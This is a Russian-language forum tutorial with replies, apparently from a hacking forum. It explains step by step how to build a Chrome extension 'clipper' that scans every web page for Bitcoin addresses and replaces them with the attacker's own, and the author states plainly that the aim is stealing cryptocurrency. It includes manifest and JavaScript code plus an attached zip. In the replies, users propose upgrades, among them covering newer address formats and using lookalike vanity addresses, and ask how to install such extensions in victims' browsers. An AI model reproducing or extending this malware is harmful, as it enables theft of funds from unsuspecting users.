• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как сделать свой клиппер BTC адресов для браузера Google Chrome

TR77

HDD-drive
Забанен
Регистрация
16.07.2023
Сообщения
34
Реакции
71
Пожалуйста, обратите внимание, что пользователь заблокирован
Как сделать свой клиппер BTC адресов для браузера Google Chrome

Ну для начала пару слов о том, что такое клиппер если кто-то не знает - это программа, которая подменяет адреса криптокошельков на компьютере жертвы на ваши, человек не замечает подмены и отправляет крипту на ваш адрес. В этой статье я расскажу как сделать простую такую программу (расширение) для браузера google chrome, чтоб подменять адреса bitcoin кошельков. Использовать ее я конечно не советую можно сесть за такое в тюрьму, хотя бы по РУ не работайте.
Первый этап

Начать стоит с того, что нам нужно будет ванильное расширение для хрома. Никакого функционала оно нести не будет, только выводить что-то вроде "Hello world" и всё. Для этого идем на гитхаб и пишем chrome extension.
a9395fbe233102247d614482e8346aba1a9f8bf5e1ee4f1c4aba5c06a5bffcb7.webp

Сразу видим первым в выдаче репозиторий с примерами расширений. Заходим..

f80794ebf62c383ab4ed50870659e8e73488655d254a8d715a6779243dfd0861.webp


Как я писал выше нам нужно хелло ворлд базовое расширение. Жмякаем по ссылке и нас перекидывает к файлам расширения где мы их можем и скачать.

70fc1698d43b6bf719c6dca785ced6a519bbb13e2411cee1bb323da54f0e3f2b.webp


Закидываем эти 4 файла в одну папку и открываем хром.
Чтоб установить расширение нужно перейти во вкладку расширения

568ef83fef5382aca66696aff7b6e209f8a291161b5a3afdb9ba5a9de8ffdf35.webp


Включить Developer Mode

89526ed1df0cc7ac412cf14b7927bd5da052aa1cb30ff4954cd08ebde538140f.webp


Далее нажав Load unpacked выбрать папку с теми 4 файлами на вашем ПК.

323a1b4dbb5b3b44e9fead4971c2e27d2841cb6b40d30dd8549b82af011cdf06.webp


И как мы видим расширение установлено. Мы завершили первый этап.
1f37407b741af3d6e0971168ff11a3d4ee9eb6ec99b34bf96e585480973a59ca.webp


Второй этап
Если не установлено, установите VSCODE чтоб было удобно редактировать код расширения https://code.visualstudio.com/.
Открываем в VSCODE папку с нашим расширением.
858db78cfeee67464572557deadb01b5033febec0665da47893a1188f10c8710.webp

Открываем файл manifest.json и к концу файла добавляем следующие строчки
Код:
"content_scripts": [{

"matches": ["<all_urls>"],

"js": ["background.js"]

}],

"host_permissions": ["<all_urls>"]

в итоге он должен выглядеть так

b369b5a002e27158d303ebf6aa236e222f32f8e6c92ca425a382be8623df8f4d.webp


Что делает этот код?
Манифэст это своего рода конфиг для нашего расширения, и мы ему сейчас дали понять что при открытии любой странички будет исполняться код из файла background.js, который собственно и нужно создать. Для этого нажмите эту кнопку
2515c7719d85d3a35619a9cb569eb67b27ec8970156c31e06483a70ae20970fc.webp


Что ж, для примера добавим обычным консоль лог, который выведет три единички в консоли браузера при загрузке странички. Пишем мы это в файл background.js т.к именно он исполняется на странице!
Код:
function init() { // обьявляем функцию инит

console.log(111) // делаем консоль лог

} // закрываем функцию

init() // вызываем функцию

Сохраняемся и обновляем расширение, для этого жмем эту кнопку

f3a49fbfbb0111b8d07e855bce6094b006eaed694dfe15112320e6c1d37cac80.webp


Чтоб увидеть изменения после обновления всегда нажимайте эту кнопку чтоб браузер обновил код.

Заходим в гугол и видим наши три единчки. Значит скрипт работает, ура.
2f51cf9033182b5f292e7a87242084dcaa2d80c27ab0a15b1719c1e828ed5baa.webp


Третий этап
Добавляем функционал. Добавим в самый верх файла функцию которая будет нам говорить является ли текст на странице биткоин адресом. Это делается для того чтоб когда наше расширение будет смотреть ВСЕ элементы на странице не заменяло все что есть на наш биткоин адрес.

Код:
function validate_bitcoin_address(btc_address){

return btc_address.match("^[13][a-km-zA-HJ-NP-Z1-9]{25,34}quot;) !== null;quot;) !== null;

}

Так как контент на сайте может меняться в конце файла добавим строчку которая будет запускать нашу функцию init каждые 3 секунды, на случай если что-то на странице поменяется и появится адрес битка.

Код:
setInterval(init, 3000);

И теперь к самому вкусному.
Внутри нашей функции init добавляем код который будет получать все элементы на странице, далее циклом перебирать их. По простому для чайников, получаем список всех элементов на странице (кнопки, заголовки, текста, ссылки вообще все что есть) и проходимся циклом то есть последовательно по списку смотря каждый элемент.

Код:
const getAllPageElements = document.getElementsByTagName("*"); // получаем все элементы на странице

for (var i = 0, max = getAllPageElements.length; i < max; i++) { // проходим циклом по каждому элементу

var pageEl = getAllPageElements[i]; // наш элемент

}

Когда мы теперь можем работать отдельно с каждым элементом страницы (как видно в коде которые последовательно записываются в переменную pageEl) мы будем смотреть что находится внутри, то есть вполне возможно мы найдем биткоин адрес.

Код:
var text = pageEl.innerText; // внутренности нашего элемента, то есть там может быть наш биткоин адресс

Теперь в переменной текст хранится все что есть на сайте в виде строк (текста) и мы можем с помощью функции validate bitcoin address которую добавили ранее проверить является ли строка (текст) на странице биткоин адресом.

Код:
if(text){ // проверка на null undefined и пустые строки

if(validate_bitcoin_address(text)){ // проверка на биткоин адрес

console.log(text) // в случае если текст или стрка является биткоин адресом вывести ее в консоль

}

}

В итоге у вас должно получится что то типа такого

e8d6c6694281c3e853b241a320025fcd9ce3be54319323a5418571a15df56e5f.webp


Давайте проверим как работает наше чудо. Зайдем на сайт где должны явно находится биткоин адреса и посмотрим найдет ли их наш скрипт и выведит ли в консоль. Для примера я взял блокчейн сканнер битка - https://www.blockchain.com/explorer...5ef069d057a38c50b25f93e862bc75ab689dd534f17fc и зашел в первую попавшуются транзу, страница загрузилась открываем консоль и смотрим...

351ec3c0215f8c35fc62c4e2f6505275f8635bfe5652e38c545ab5cd73c0a4bb.webp


Победа! Можем видеть что расширение удачно находит адреса на странице.
Теперь давайте напишем код который будет подменять их на наш. Создадим переменную, которая будем хранить в себе наш адрес для подмены

6f0508ac9073f7cb1331322e8a4c1c0ed3e58b73943b7550fae8a50276708540.webp


И чтоб адрес менялся на наш дописываем такую строчку

51735e7bd90676522c9c6b99c1f304d0766727f3550a1d5b37e5277a0b4acd09.webp


Код:
pageEl.innerText = MY_ADDRESS;

Обновим расширение, зайдем на страницу (блокчейн сканнера) и посмотрим работает ли.
50434e5a531df5c282ad751d806d1a9e929b3ac3187a54cacca7a440a41e8fb4.webp


Да, адреса заменяются и скрипт работает :)
В конце всего должен быть такой код

ef988bb9509acb234a3b79a78ce2fe025c2032dc50f6037facce3248a65b7932.webp


Итог:

Простое расширение для браузера, при установке которого будет заменять все адреса биткоин кошельков на ваш адрес для кражи крипты.
Самая большая благодарность это ваши лайки и комментарии.
Если хотите продолжение или статью на похожую тематику пишите буду делать.
 

Вложения

  • chrome clipper.zip
    2.5 КБ · Просмотры: 58
Последнее редактирование модератором:
Для тех кто заинтересуется, TO DO лист:
1) Регулярка на поиск адресов которые будут клипаться - устаревшая, адреса вида bc1q bc1p не будут заменены. (Кстати наталкивает на мысль что материал не авторский, иначе не вижу причин почему автор не добавил регулярку под эти типы адресов, они уже очень давно в ходу)
2) Полезно иметь не один "подменный" адрес, а хотя бы несколько, под каждый тип адреса 1..., 3..., bc1q... bc1p...
3) Продвинутый вариант - иметь где то словарь с большим количеством vanity адресов, чтобы "подменный" адрес был похож на оригинальный
 
Пожалуйста, обратите внимание, что пользователь заблокирован
устаревшая, адреса вида bc1q bc1p не будут заменены. (Кстати наталкивает на мысль что материал не авторский, иначе не вижу причин почему автор не добавил регулярку под эти типы адресов, они уже очень давно в ходу)
Этот момент я действительно не знал, знал бы дописал бы под эти виды адресов и проверил бы на них. В статье я рассказывал именно метод как сделать клиппер, а не писал готовый софт на продажу со всеми возможными исходами и вариантами.
Буду делать вторую часть как дополнение со теми недочетами что вы указали, в любом случае спасибо за ваш комментарий.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Этот момент я действительно не знал, знал бы дописал бы под эти виды адресов и проверил бы на них. В статье я рассказывал именно метод как сделать клиппер, а не писал готовый софт на продажу со всеми возможными исходами и вариантами.
Буду делать вторую часть как дополнение со теми недочетами что вы указали, в любом случае спасибо за ваш комментарий.
Как ты их (такие расширения) доставляешь и устанавливаешь в браузер жертвы?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как ты их доставляешь и устанавливаешь в браузер жертвы?
для этого пишется отдельный софт
 
для этого пишется отдельный софт
Тоже разрабатываю расширения, статья очень интересная, большое спасибо!
Хотелось бы узнать)) о способе установки таких расширений без загрузки в chrome webstore
 
Последнее редактирование:
For those who are interested, TO DO sheet:
1) The routine for searching for addresses that will be clipped is outdated, addresses like bc1q bc1p will not be replaced. (By the way, it suggests that the material is not the author’s, otherwise I see no reason why the author did not add regular text for these types of addresses; they have been in use for a very long time)
2) It is useful to have not just one “replacement” address, but at least several, for each type of address 1..., 3..., bc1q... bc1p...
3) An advanced option is to have a dictionary somewhere with a large number of vanity addresses, so that the “replacement” address is similar to the original one
very good points
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх